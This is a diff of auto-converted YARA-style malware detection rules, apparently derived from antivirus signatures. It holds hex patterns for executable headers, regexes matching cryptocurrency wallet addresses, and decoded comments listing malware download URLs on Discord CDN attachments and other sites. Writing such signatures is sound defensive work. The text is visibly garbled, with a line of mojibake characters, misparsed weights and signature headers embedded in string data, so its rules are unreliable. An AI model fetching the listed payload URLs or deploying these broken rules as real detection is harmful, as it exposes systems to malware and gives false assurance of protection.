31 2d 39 5d 7b 32 35 2c 33 34 7d 01 00 14 01 28 34 7c 38 29 5b 30 2d 39 61 2d 7a 41 2d 5a 5d 7b 39 34 7d 01 00 1a 01 28 34 7c 38 29 5b 61 2d 7a 2d 41 2d 5a 2d 30 2d 39 5d 7b 39 34 2c 31 31 30 7d 01 00 11 01 28 51 7c 50 29 5b 41 2d 5a 30 2d 39 5d 7b 34 31 7d 01 00 1f 01 28 44 64 7a 46 46 29 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d } //11629 - $a_39_96 = {7d 01 00 16 01 28 4c 7c 4d 29 5b 41 2d 7a 5d 5b 31 2d 39 41 2d 7a 5d 7b 33 32 7d 01 00 1d 01 28 4e 7c 4d 29 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 33 33 7d 01 00 1a 01 28 54 5b 41 2d 5a 5d 29 5b 41 2d 5a 61 2d 7a 30 2d 39 5d 7b 33 32 2c 33 35 7d 01 00 1b 01 28 58 29 5b 31 2d 39 41 2d 48 4a 2d 4e 50 2d 5a 61 2d 6b 6d 2d 7a 5d 7b 33 33 7d 01 00 } //23865 - $a_58_97 = {61 76 61 78 29 5b 61 2d 7a 2d 41 2d 5a 2d 30 2d 39 5d 7b 33 39 7d 01 00 25 01 28 5b 31 33 5d 7c 62 63 31 29 5b 41 2d 48 } //281 - $a_50_98 = {5a 61 2d 6b 6d 2d 7a 31 2d 39 5d 7b 32 37 2c 33 34 7d 01 00 1d 01 28 5b 31 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 35 2c 33 39 7d 01 00 1d 01 28 5b 33 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b } //11594 - $a_33_99 = {7d 01 00 19 01 28 62 63 31 29 5b 61 2d 7a 2d 41 2d 5a 2d 30 2d 39 5d 7b 32 35 2c 33 39 7d 01 00 1d 01 28 62 63 31 29 5b 61 2d 7a 41 } //13618 - $a_2d_100 = {50 2d 5a 30 2d 39 5d 7b 32 35 2c 33 39 7d 01 00 22 01 28 62 63 31 7c 5b 31 33 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 35 2c 33 39 7d 01 00 22 01 28 62 63 31 7c 5b 31 33 5d 29 5b 61 2d 7a 41 2d 48 4a } //18477 - $a_2d_101 = {30 2d 39 5d 7b 32 35 2c 35 39 7d 01 00 22 01 28 62 63 31 7c 5b 31 33 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 36 2c 33 35 7d 01 00 22 01 28 62 63 31 7c 5b 31 33 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d } //20013 ⴰ崹㉻ⰵ㤵Ž∀⠁换簱ㅛ崳嬩ⵡ䅺䠭ⵊ偎娭ⴰ崹㉻ⰶ㔳Ž∀⠁换簱ㅛ崳嬩ⵡ䅺䠭ⵊ偎娭ⴰ崹 - $a_2c_102 = {32 7d 01 00 12 01 28 62 6e 62 29 28 5b 61 2d 7a 30 2d 39 5d 7b 33 39 7d 01 00 17 01 28 69 6f 74 61 29 5b 41 2d 5a 2d 30 2d 39 2d 61 2d 7a 5d 7b 36 30 7d 01 00 11 } //12923 - $a_7c_103 = {29 5b 61 2d 7a 30 2d 39 5d 7b 34 31 7d 01 00 17 01 28 72 6f 6e 69 6e 3a 29 5b 61 2d 66 41 2d 46 30 2d 39 5d 7b 34 30 7d 01 00 0e 01 30 78 5b 30 2d 39 41 2d 7a 5d 7b 34 30 7d 01 00 11 01 30 78 5b 30 2d 39 61 2d 66 41 2d 46 5d 7b 34 30 7d 01 00 14 01 30 78 5b 41 2d 5a 61 2d 7a 30 2d 39 5d 7b 34 30 2c 34 30 7d 01 00 14 01 30 78 5b 61 2d 66 } //10241 - $a_30_104 = {39 5d 7b 34 30 2c 34 32 7d 01 00 11 01 30 78 5b 61 2d 66 41 2d 46 30 2d 39 5d 7b 34 30 7d 01 00 10 01 31 5b 30 2d 39 61 2d 7a 41 2d 5a 5d 7b 33 33 7d 01 00 1c 01 31 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d } //11585 + $a_40_94 = {00 01 00 01 00 17 00 21 23 48 53 54 52 3a 53 74 65 61 6c 67 61 2e 44 53 4b 32 00 01 00 78 01 20 20 20 20 20 20 20 20 00 40 29 00 00 10 03 00 00 b2 09 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 69 64 61 74 61 00 00 00 10 00 00 00 50 2c 00 00 04 00 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 } //0 + $a_00_102 = {78 } //16384 x + $a_20_103 = {20 20 20 20 0c 00 00 00 00 e0 00 00 00 02 00 00 00 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8193 condition: - ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*3843+(#a_eb_2 & 1)*400+(#a_07_3 & 1)*259+(#a_1b_4 & 1)*17803+(#a_90_5 & 1)*29701+(#a_90_6 & 1)*-29948+(#a_04_7 & 1)*912+(#a_01_8 & 1)*-28437+(#a_01_9 & 1)*912+(#a_90_10 & 1)*-29942+(#a_0a_11 & 1)*257+(#a_01_12 & 1)*912+(#a_0f_14 & 1)*5888+(#a_55_15 & 1)*-13821+(#a_0b_16 & 1)*-20721+(#a_d1_17 & 1)*-14333+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_03_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_03_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_03_48 & 1)*1+(#a_01_49 & 1)*1+(#a_03_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_03_58 & 1)*1+(#a_01_59 & 1)*1+(#a_03_60 & 1)*1+(#a_01_61 & 1)*1+(#a_03_62 & 1)*1+(#a_03_63 & 1)*1+(#a_03_64 & 1)*1+(#a_01_65 & 1)*1+(#a_03_66 & 1)*1+(#a_03_67 & 1)*1+(#a_03_68 & 1)*1+(#a_03_69 & 1)*1+(#a_03_70 & 1)*1+(#a_03_71 & 1)*1+(#a_03_72 & 1)*1+(#a_03_73 & 1)*1+(#a_03_74 & 1)*1+(#a_03_75 & 1)*1+(#a_03_76 & 1)*1+(#a_03_77 & 1)*1+(#a_03_78 & 1)*1+(#a_01_79 & 1)*1+(#a_03_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_03_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_03_90 & 1)*1+(#a_03_91 & 1)*1+(#a_01_92 & 1)*1+(#a_03_93 & 1)*1+(#a_5b_94 & 1)*0+(#a_41_95 & 1)*11629+(#a_39_96 & 1)*23865+(#a_58_97 & 1)*281+(#a_50_98 & 1)*11594+(#a_33_99 & 1)*13618+(#a_2d_100 & 1)*18477+(#a_2d_101 & 1)*20013+(#a_2c_102 & 1)*12923+(#a_7c_103 & 1)*10241+(#a_30_104 & 1)*11585) >=1 + ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*3843+(#a_eb_2 & 1)*400+(#a_07_3 & 1)*259+(#a_1b_4 & 1)*17803+(#a_90_5 & 1)*29701+(#a_90_6 & 1)*-29948+(#a_04_7 & 1)*912+(#a_01_8 & 1)*-28437+(#a_01_9 & 1)*912+(#a_90_10 & 1)*-29942+(#a_0a_11 & 1)*257+(#a_01_12 & 1)*912+(#a_0f_14 & 1)*5888+(#a_55_15 & 1)*-13821+(#a_0b_16 & 1)*-20721+(#a_d1_17 & 1)*-14333+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_03_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_03_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_03_48 & 1)*1+(#a_01_49 & 1)*1+(#a_03_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_03_58 & 1)*1+(#a_01_59 & 1)*1+(#a_03_60 & 1)*1+(#a_01_61 & 1)*1+(#a_03_62 & 1)*1+(#a_03_63 & 1)*1+(#a_03_64 & 1)*1+(#a_01_65 & 1)*1+(#a_03_66 & 1)*1+(#a_03_67 & 1)*1+(#a_03_68 & 1)*1+(#a_03_69 & 1)*1+(#a_03_70 & 1)*1+(#a_03_71 & 1)*1+(#a_03_72 & 1)*1+(#a_03_73 & 1)*1+(#a_03_74 & 1)*1+(#a_03_75 & 1)*1+(#a_03_76 & 1)*1+(#a_03_77 & 1)*1+(#a_03_78 & 1)*1+(#a_01_79 & 1)*1+(#a_03_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_03_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_03_90 & 1)*1+(#a_03_91 & 1)*1+(#a_01_92 & 1)*1+(#a_03_93 & 1)*1+(#a_40_94 & 1)*0+(#a_00_102 & 1)*16384+(#a_20_103 & 1)*8193) >=1 } -rule _InfrastructureShared_20589{ +rule _InfrastructureShared_21816{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 17 00 21 " + + strings : + $a_54_0 = {3a 53 74 65 61 6c 67 61 2e 44 53 4b 32 00 01 00 78 01 20 20 20 20 20 20 20 20 00 40 29 00 00 10 03 00 00 b2 09 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 69 64 61 74 61 00 00 00 10 00 00 00 50 2c 00 00 04 00 00 00 12 0b 00 00 } //18467 + $a_72_4 = {72 63 00 00 00 00 14 02 00 00 60 2c 00 00 14 02 00 00 16 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 } //-16384 + $a_0c_5 = {00 00 00 00 e0 00 00 00 02 00 00 00 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e } //8224 + $a_74_6 = {00 00 00 20 00 00 00 00 01 00 00 02 00 00 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 20 01 00 00 06 00 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 40 02 00 00 02 00 } //25705 + $a_00_7 = {00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 60 02 00 00 02 00 00 00 ba 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 80 02 00 00 12 00 00 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 40 01 00 00 02 00 00 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 60 01 00 00 02 00 00 00 06 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 } //0 + $a_00_9 = {00 00 80 01 00 00 06 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 } //0 + $a_20_10 = {20 20 20 20 0c 00 00 00 00 20 1b 00 00 02 00 00 00 a4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8193 + $a_74_12 = {00 00 00 20 00 00 00 40 1b 00 00 02 00 00 00 a6 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 60 1b 00 00 1e 00 00 00 a8 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 c0 00 00 00 02 00 } //25705 + $a_00_13 = {00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 e0 00 00 00 02 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 } //0 + $a_00_20 = {78 } //16384 x + $a_20_21 = {20 20 20 20 0c 00 00 00 00 c0 02 00 00 02 00 00 00 ba 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8193 + condition: + ((#a_54_0 & 1)*18467+(#a_72_4 & 1)*-16384+(#a_0c_5 & 1)*8224+(#a_74_6 & 1)*25705+(#a_00_7 & 1)*0+(#a_00_9 & 1)*0+(#a_20_10 & 1)*8193+(#a_74_12 & 1)*25705+(#a_00_13 & 1)*0+(#a_00_20 & 1)*16384+(#a_20_21 & 1)*8193) >=1 + +} +rule _InfrastructureShared_21817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 63 00 21 " @@ -267011,7 +282544,7 @@ rule _InfrastructureShared_20589{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*23389+(#a_30_2 & 1)*10552+(#a_7b_3 & 1)*14637+(#a_58_4 & 1)*283+(#a_5a_5 & 1)*16685+(#a_7d_6 & 1)*13100+(#a_2d_7 & 1)*23085+(#a_2d_8 & 1)*31277+(#a_29_9 & 1)*13105+(#a_34_10 & 1)*13874+(#a_36_11 & 1)*23930+(#a_2d_12 & 1)*17965+(#a_2d_14 & 1)*23345+(#a_41_15 & 1)*11629+(#a_57_16 & 1)*21844+(#a_5d_17 & 1)*11585+(#a_5d_18 & 1)*11568+(#a_5b_19 & 1)*12667+(#a_2d_21 & 1)*23373+(#a_41_22 & 1)*21505+(#a_7a_23 & 1)*24922+(#a_5d_24 & 1)*11617+(#a_39_25 & 1)*12634+(#a_31_26 & 1)*23859+(#a_38_27 & 1)*23297+(#a_39_28 & 1)*14134+(#a_2d_29 & 1)*23297+(#a_2d_30 & 1)*18477+(#a_32_31 & 1)*31581+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_90_50 & 1)*0+(#a_90_51 & 1)*-32720+(#a_01_52 & 1)*1025+(#a_90_53 & 1)*-29697+(#a_34_54 & 1)*400+(#a_03_55 & 1)*1+(#a_03_56 & 1)*1+(#a_03_57 & 1)*1+(#a_03_58 & 1)*1+(#a_03_59 & 1)*1+(#a_03_60 & 1)*1+(#a_03_61 & 1)*1+(#a_03_62 & 1)*1+(#a_03_63 & 1)*1+(#a_03_64 & 1)*1+(#a_03_65 & 1)*1+(#a_03_66 & 1)*1+(#a_03_67 & 1)*1+(#a_03_68 & 1)*1+(#a_03_69 & 1)*1+(#a_03_70 & 1)*1+(#a_03_71 & 1)*1+(#a_03_72 & 1)*1+(#a_03_73 & 1)*1+(#a_03_74 & 1)*1+(#a_03_75 & 1)*1+(#a_03_76 & 1)*1+(#a_03_77 & 1)*1+(#a_03_78 & 1)*1+(#a_03_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_03_83 & 1)*1+(#a_03_84 & 1)*1+(#a_01_85 & 1)*1+(#a_03_86 & 1)*1+(#a_03_87 & 1)*1+(#a_03_88 & 1)*1+(#a_03_89 & 1)*101+(#a_03_90 & 1)*101+(#a_03_91 & 1)*1+(#a_03_92 & 1)*1+(#a_03_93 & 1)*1+(#a_03_94 & 1)*101+(#a_03_95 & 1)*101+(#a_03_96 & 1)*101+(#a_01_97 & 1)*101+(#a_03_98 & 1)*101) >=1 } -rule _InfrastructureShared_20590{ +rule _InfrastructureShared_21818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 ffffff8c 00 21 " @@ -267095,54 +282628,62 @@ rule _InfrastructureShared_20590{ $a_01_85 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 61 00 69 00 64 00 65 00 63 00 61 00 2e 00 6f 00 72 00 67 00 2e 00 70 00 65 00 2f 00 31 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 00 } //10 https://aideca.org.pe/1/panel/uploads/ $a_01_86 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 72 00 65 00 6d 00 69 00 73 00 61 00 74 00 2e 00 63 00 6f 00 6d 00 2e 00 75 00 79 00 2f 00 63 00 61 00 63 00 68 00 2f 00 } //10 https://remisat.com.uy/cach/ $a_01_87 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 6f 00 2e 00 61 00 67 00 64 00 64 00 34 00 2e 00 7a 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 2e 00 78 00 78 00 2f 00 } //10 https://co.agdd4.za.com/.xx/ - $a_59_88 = {00 0b 00 0b 00 18 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 41 32 31 30 32 21 45 4d 4c 00 0a 00 ac 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 } //0 - $a_00_89 = {6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 33 00 33 00 39 00 33 00 33 00 34 00 37 00 31 00 30 00 39 00 35 00 37 00 33 00 38 00 33 00 39 00 39 00 2f 00 39 00 34 00 31 00 33 00 34 00 34 00 34 00 35 00 32 00 33 00 31 00 30 00 36 00 30 00 39 00 39 00 35 00 30 00 2f 00 43 00 68 00 77 00 79 00 66 00 2e 00 70 00 6e 00 } //99 ments/933933471095738399/941344452310609950/Chwyf.pn - $a_00_90 = {b2 00 68 00 74 00 74 00 70 00 } //103 - $a_00_91 = {2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 } //115 //cdn.discordapp.com/attachme - $a_00_92 = {73 00 2f 00 39 00 33 00 33 00 39 00 33 00 33 00 34 00 37 00 31 00 30 00 39 00 35 00 37 00 33 00 38 00 33 00 39 00 39 00 2f 00 39 00 34 00 31 00 33 00 34 00 35 00 31 00 38 00 36 00 35 00 36 00 35 00 34 00 37 00 36 00 34 00 36 00 33 00 2f 00 54 00 78 00 78 00 74 00 6f 00 74 00 6c 00 76 00 2e 00 70 00 6e 00 67 00 0a 00 b4 00 68 00 74 00 74 00 70 00 } //110 - $a_00_93 = {2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 } //115 //cdn.discordapp.com/attachme - $a_00_94 = {73 00 2f 00 39 00 34 00 30 00 31 00 37 00 36 00 38 00 32 00 39 00 36 00 34 00 38 00 36 00 31 00 37 00 34 00 39 00 32 00 2f 00 39 00 34 00 30 00 39 00 34 00 34 00 35 00 33 00 30 00 33 00 31 00 30 00 35 00 39 00 30 00 34 00 36 00 34 00 2f 00 59 00 79 00 62 00 67 00 71 00 70 00 6c 00 6c 00 6b 00 2e 00 70 00 6e 00 67 00 0a 00 b2 00 68 00 74 00 74 00 } //110 - $a_00_95 = {3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 33 00 33 00 39 00 33 00 33 00 34 00 37 00 31 00 30 00 39 00 35 00 37 00 33 00 38 00 33 00 39 00 39 00 2f 00 39 00 34 00 33 00 30 00 33 } //112 - $a_00_97 = {38 00 31 00 37 00 32 00 37 00 33 00 38 00 35 00 36 00 2f 00 53 00 65 00 65 00 68 00 6e 00 64 00 78 00 6b 00 2e 00 70 00 6e 00 67 00 0a 00 ae 00 } //57 - $a_00_98 = {74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 33 00 33 00 39 00 33 00 33 00 34 00 37 00 31 00 30 00 39 00 35 00 37 00 33 00 38 00 33 00 39 00 39 00 2f 00 39 00 34 00 } //104 tps://cdn.discordapp.com/attachments/933933471095738399/94 - $a_00_99 = {34 00 34 00 32 00 39 00 32 00 30 00 33 00 31 00 37 00 30 00 39 00 32 00 31 00 34 00 2f 00 47 00 62 00 65 00 68 00 72 00 7a 00 2e 00 6a 00 70 00 } //51 44292031709214/Gbehrz.jp - $a_00_100 = {b4 00 68 00 74 00 74 00 70 00 } //103 - $a_00_101 = {2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 } //115 //cdn.discordapp.com/attachme - $a_00_102 = {73 00 2f 00 39 00 34 00 30 00 31 00 37 00 36 00 38 00 32 00 39 00 36 00 34 00 38 00 36 00 31 00 37 00 34 00 39 00 32 00 2f 00 39 00 34 00 31 00 36 00 36 00 39 00 34 00 32 00 32 00 36 00 30 00 31 00 34 00 37 00 34 00 30 00 34 00 38 00 2f 00 5a 00 71 00 65 00 76 00 64 00 70 00 70 00 70 00 70 00 2e 00 6a 00 70 00 67 00 0a 00 ae 00 68 00 74 00 74 00 } //110 - $a_00_103 = {3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 35 00 38 00 32 } //112 - $a_00_105 = {34 00 31 00 35 00 38 00 33 00 32 00 30 00 39 00 34 00 2f 00 56 00 72 00 6e 00 6b 00 63 00 72 00 2e 00 6a 00 70 00 67 00 0a 00 ac 00 68 00 74 00 74 00 70 00 73 00 } //53 - $a_00_106 = {2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 } //58 - $a_00_108 = {6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 33 00 30 00 39 00 33 00 33 00 32 00 37 00 37 00 31 00 31 00 30 00 37 00 32 00 32 00 37 00 36 00 2f 00 42 00 6b 00 72 00 64 00 61 00 2e 00 70 00 6e 00 67 } //109 - $a_00_110 = {6f 00 6e 00 6e 00 66 00 6d 00 6e 00 76 00 6f 00 75 00 77 00 67 00 6c 00 6d 00 6d 00 6b 00 66 00 75 00 79 00 6f 00 2e 00 44 00 6b 00 70 00 6b 00 76 00 71 00 73 00 62 00 62 00 73 00 68 00 6a 00 61 00 75 00 0a 00 ac 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 } //67 - $a_00_111 = {64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 33 00 34 00 38 00 35 00 31 00 38 00 32 00 39 00 36 00 35 00 36 00 30 00 34 00 33 00 39 00 } //111 dapp.com/attachments/913584216825028612/94348518296560439 - $a_00_112 = {44 00 6f 00 75 00 73 00 6d 00 2e 00 6a 00 70 00 67 00 0a 00 b4 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 } //50 - $a_00_114 = {72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 35 00 30 00 39 00 31 00 35 00 30 00 30 00 38 00 36 00 38 00 35 00 30 00 31 } //99 - $a_00_116 = {57 00 69 00 6c 00 61 00 73 00 67 00 68 00 64 00 66 00 2e 00 6a 00 70 00 67 00 0a 00 b4 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 } //53 - $a_00_118 = {69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 32 00 37 00 38 00 } //46 iscordapp.com/attachments/913584216825028612/94278 - $a_00_119 = {38 00 37 00 33 00 32 00 32 00 35 00 32 00 35 00 37 00 32 00 36 00 2f 00 5a 00 6b 00 75 00 65 00 61 00 75 00 6a 00 79 00 63 00 2e 00 70 00 6e 00 67 00 } //56 87322525726/Zkueaujyc.png - $a_00_120 = {50 00 67 00 7a 00 73 00 62 00 6e 00 67 00 6b 00 65 00 70 00 65 00 66 00 2e 00 4d 00 74 00 6b 00 6c 00 72 00 6a 00 73 00 } //1 Pgzsbngkepef.Mtklrjs - $a_00_121 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 31 00 33 00 35 00 38 00 34 00 32 00 31 00 36 00 38 00 32 00 35 00 30 00 32 00 38 00 36 00 31 00 32 00 2f 00 39 00 34 00 35 00 30 00 35 00 33 00 38 00 30 00 32 00 39 00 37 00 35 00 38 00 35 00 34 00 36 00 33 00 32 00 2f 00 46 00 79 